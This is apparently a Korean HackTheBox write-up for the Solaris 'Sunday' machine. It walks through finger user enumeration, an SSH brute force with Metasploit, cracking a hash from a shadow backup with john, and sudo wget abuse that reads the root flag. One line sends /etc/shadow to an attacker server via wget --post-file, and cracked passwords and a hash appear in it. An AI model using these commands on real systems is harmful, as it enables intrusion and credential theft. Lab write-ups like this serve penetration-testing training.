HackTheBox Writeup
☀️ Sunday
Solaris 기반 Easy 머신 — Finger 서비스 유저 열거 → SSH 브루트포스 → shadow 파일 해시 크래킹 → sudo 권한 상승
Task 1 Finger 서비스가 실행 중인 TCP 포트
nmap으로 스캔하면 79번 포트에서 finger 서비스가 동작 중임을 확인할 수 있다.
nmap -sS -sC -sV --open -T4 sunday.htb
nmap — 79/tcp finger, 111/tcp rpcbind, 515/tcp printer 확인
ANSWER 79
Task 2 Finger 열거로 발견한 pts 유저 수
finger-user-enum.pl로 유저를 열거한다. SSH 로그인 이력(pts)이 있는 유저만 유효한 계정이다.
# finger-user-enum.pl 다운로드 wget https://raw.githubusercontent.com/pentestmonkey/finger-user-enum/master/finger-user-enum.pl chmod +x finger-user-enum.pl # 유저 열거 실행 ./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.129.48.62 -w 50
finger-user-enum — sammy, sunny SSH 로그인 이력 확인
pts(SSH) 접속 이력이 있는 유저는 sammy와 sunny 두 명이다.
ANSWER 2 (sammy, sunny)
Task 3 sunny 계정 패스워드
전체 포트 스캔으로 SSH가 22022번 포트에서 동작 중임을 확인한다.
nmap -sV -p- 10.129.48.62 --min-rate 5000
nmap 전체 스캔 — 22022/tcp SSH, 6787/tcp HTTP 추가 확인
Metasploit의 ssh_login 모듈로 sunny 계정을 브루트포스한다.
use auxiliary/scanner/ssh/ssh_login set USERNAME sunny set RHOSTS 10.129.48.62 set RPORT 22022 set PASS_FILE /usr/share/wordlists/rockyou.txt run
Metasploit ssh_login — 모듈 옵션 설정
브루트포스 성공 — sunny:sunday 자격증명 획득
ANSWER sunday
Task 4 sammy 계정 패스워드
sunny로 SSH 접속 후 /backup 디렉토리에서 shadow.backup 파일을 발견한다.
ssh sunny@10.129.48.62 -p 22022 cd /backup cat shadow.backup
sunny SSH 접속 — Oracle Solaris 11.4.42.111.0
/backup/shadow.backup — sammy의 SHA-256 해시 발견
sammy의 해시를 추출해 john으로 크래킹한다.
echo '$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB' > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john — SHA-256 해시 크래킹 성공 : cooldude!
ANSWER cooldude!
🚩 User Flag
sammy 계정으로 SSH 접속 후 user.txt를 읽는다.
ssh sammy@sunday.htb -p 22022 cat user.txt
sammy 홈 디렉토리 — user.txt 획득
Task 6 sunny가 sudo로 실행 가능한 바이너리
sudo -l User sunny may run the following commands on sunday: (root) NOPASSWD: /root/troll
sunny sudo -l — /root/troll NOPASSWD 확인
ANSWER /root/troll
Task 7 sammy가 sudo로 실행 가능한 바이너리
sudo -l User sammy may run the following commands on sunday: (root) NOPASSWD: /usr/bin/wget
sammy sudo -l — /usr/bin/wget NOPASSWD 확인
ANSWER /usr/bin/wget
🏆 Root Flag
wget의 -i 옵션으로 /root/root.txt를 URL로 읽어오면 에러 메시지에 파일 내용이 노출된다.
sudo wget -i /root/root.txt -- http://[ROOT_FLAG_HASH]/ Resolving [ROOT_FLAG_HASH]... failed: temporary name resolution failure.
sudo wget -i /root/root.txt — 에러 메시지로 Root Flag 노출
Task 9 wget URL 목록 지정 플래그
ANSWER --input-file (-i)
Task 10 wget POST body 파일 전송 플래그
# shadow 파일을 공격자 서버로 전송 sudo wget --post-file=/etc/shadow http://10.10.15.56:8080/
ANSWER --post-file
Task 11 sudo 설정 파일 경로
ANSWER /etc/sudoers